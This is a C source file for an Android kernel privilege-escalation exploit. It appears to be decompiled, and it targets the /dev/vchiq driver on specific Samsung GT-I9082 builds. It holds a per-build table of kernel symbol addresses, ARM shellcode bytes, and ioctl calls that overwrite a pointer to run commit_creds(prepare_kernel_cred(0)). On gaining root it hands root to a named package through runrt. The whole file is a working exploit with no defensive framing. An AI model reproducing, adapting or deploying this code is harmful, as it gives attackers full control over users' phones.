#include <stdio.h>

#ifdef DEBUG
#define printff    printf
#else
#define printff(...)
#endif

#define SYS_NMLN 65

struct utsname {
	char sysname[SYS_NMLN]; //linux
	char nodename[SYS_NMLN]; //locolhost
	char release[SYS_NMLN];  //3.4.4xxx
	char version[SYS_NMLN];  //#1 #SMPxxx
	char machine[SYS_NMLN];   //armv7
	char domainname[SYS_NMLN];   //localdomain
};

typedef struct _sam {
	char band[64];
	char model[64];
	char buildno[64];
	char version[64];
	unsigned int prepare_kernel_cred;
	unsigned int commit_creds;
	unsigned int c;
	unsigned int d;
	unsigned int e;
} sam;

struct playload
{
	unsigned char shellcode[32];
	unsigned int prepare_kernel_cred;
	unsigned int commit_creds;
};
/*
 __data_start                            ; DATA XREF: prepare_shellcode+40o
.data:00007214                                                           ; .text:off_17F8o ...
.data:00007214 18 00 9F E5                       LDR     R0, dword_7234
.data:00007218 00 00 90 E5                       LDR     R0, [R0]
.data:0000721C 0C 40 9F E5                       LDR     R4, off_7230
.data:00007220 34 FF 2F E1                       BLX     R4
.data:00007224 00 D0 8D E0                       ADD     SP, SP, R0
.data:00007228 00 00 A0 E3                       MOV     R0, #0
.data:0000722C F0 8F BD E8                       LDMFD   SP!, {R4-R11,PC}
.data:0000722C                   ; End of function __data_start

.data:00007230 00 00 00 00       off_7230        DCD 0                   ; DATA XREF: prepare_shellcode+4Cw
.data:00007230                                                           ; __data_start+8r
.data:00007234 00 00 00 00       dword_7234      DCD 0                   ; DATA XREF: prepare_shellcode+50w
.data:00007234                                                           ; __data_startr                                                    ; __data_startr
 */

sam matchsam = { 0 };
struct playload code =
{
  0x18, 0x00, 0x9F, 0xE5, 0x00, 0x00, 0x90, 0xE5, 0x0C, 0x40,
  0x9F, 0xE5, 0x34, 0xFF, 0x2F, 0xE1, 0x00, 0xD0, 0x8D, 0xE0,
  0x00, 0x00, 0xA0, 0xE3, 0xF0, 0x8F, 0xBD, 0xE8, 0x00, 0x00
};


sam sam_all[] ={
		{"Samsung", "GT-I9082", "3.0.31-1503837", "#1 SMP PREEMPT Fri Jan 17 17:13:35 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082", "3.0.31-1528558", "#1 SMP PREEMPT Sat Mar 15 00:11:56 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082", "3.0.31-1040525", "#1 SMP PREEMPT Tue Apr 2 11:57:05 KST 2013", 0xc00cad98, 0xc00ca5e0, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082i", "3.0.31-1503837", "#1 SMP PREEMPT Fri Jan 17 17:14:22 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082i", "3.0.31-1528558", "#1 SMP PREEMPT Sat Mar 15 12:44:45 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082i", "3.0.31-1535682", "#1 SMP PREEMPT Thu Apr 10 19:44:25 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \
		{"Samsung", "GT-I9082", "3.0.31-1530655", "#1 SMP PREEMPT Thu Apr 10 21:54:31 KST 2014", 0xc00cb164, 0xc00ca9ac, 0x88, 0x80000011, 0x5c}, \

};

int  get_root(sam * a1)
{
	  sam *v1; // r4@1
	  int v3; // r0@1

	  v1 = a1;
	  v3 = ((int ( *)(unsigned int))a1->prepare_kernel_cred)(0);
	  ((void ( *)(unsigned int))a1->commit_creds)(v3);
	  return v1->e;
}

unsigned int prepare_shellcode() {
	unsigned char* v0; // r0@1
	unsigned char* v1; // r4@1

	v0 = (unsigned char*) malloc(0x2000);

	if (v0) {
		v1 = (unsigned int) (v0 + 0xFFF) & 0xFFFFF000;
		mprotect((void *) v1, 0x1000, 7);
		code.prepare_kernel_cred = (unsigned int) get_root;
		code.commit_creds = (unsigned int) &matchsam;
		memcpy(v1, code.shellcode, 0x24);
		return v1;
	}
	return 0;
}

int vchiq_exp_main() {
	int fd;
	struct utsname ut_sname;
	sam tmpsam;
	char phone_model[32] = { 0 };
	int n_phone_model_len = 0;
	unsigned char* pcode;
	unsigned char* pbuffer;
	int data[10] = { 0 };

	if (uname(&ut_sname) == -1) {
		return 1;
	}
	//printf("%s %s %s %s\n",ut_sname.nodename,ut_sname.machine,ut_sname.version,ut_sname.release);
	__system_property_get("ro.product.model", phone_model);
	n_phone_model_len = strlen(phone_model);

	int i = 0;
	while (i < sizeof(sam_all) / sizeof(sam_all[0])) {
		int n_phone_release = 0;
		memcpy(&tmpsam, &sam_all[i], sizeof(sam));
		if (strlen(tmpsam.model) == n_phone_model_len) {
			n_phone_release = strlen(ut_sname.release);
			if (n_phone_release == strlen(tmpsam.buildno)
					&& !strncmp(phone_model, tmpsam.model, n_phone_model_len)
					&& !strncmp(tmpsam.buildno, ut_sname.release,
							n_phone_release)) {

				if (!strncmp(ut_sname.version, tmpsam.version,
						strlen(tmpsam.version))) {
					memcpy(&matchsam, &sam_all[i], sizeof(sam));
					printff("matched %d\n",i);
					break;

				}
			}
		}
		i++;
	}

	if (i >= sizeof(sam_all) / sizeof(sam_all[0]))
		return 1;

	pcode = prepare_shellcode();
	if (pcode) 
    {
		fd = open("/dev/vchiq", 2);
		if (fd < 0)
		    	return 1;

		data[0] = 0x123;

		if (ioctl(fd, 0xC01CC402, data))
			  return 2;

		data[7] = data[6];
		pbuffer = (unsigned char*) malloc(0x100);
		data[9] = pbuffer;
		if (pbuffer)
		{
			memset(pbuffer, 0, 0x100);
			data[8] = matchsam.d;
			*(unsigned int *) (data[9] + matchsam.c - 4) = pcode;
			sleep(1);
			ioctl(fd, 0x400CC404u, &data[7]);
			close(fd);
			free(pbuffer);
			if (!getuid())
			{
				  return 0;
			}
		}
	}
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

	check_parent_pid();
	if(argc < 4) return 1;

	vchiq_exp_main();
	ret = (getuid() == 0);

	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}





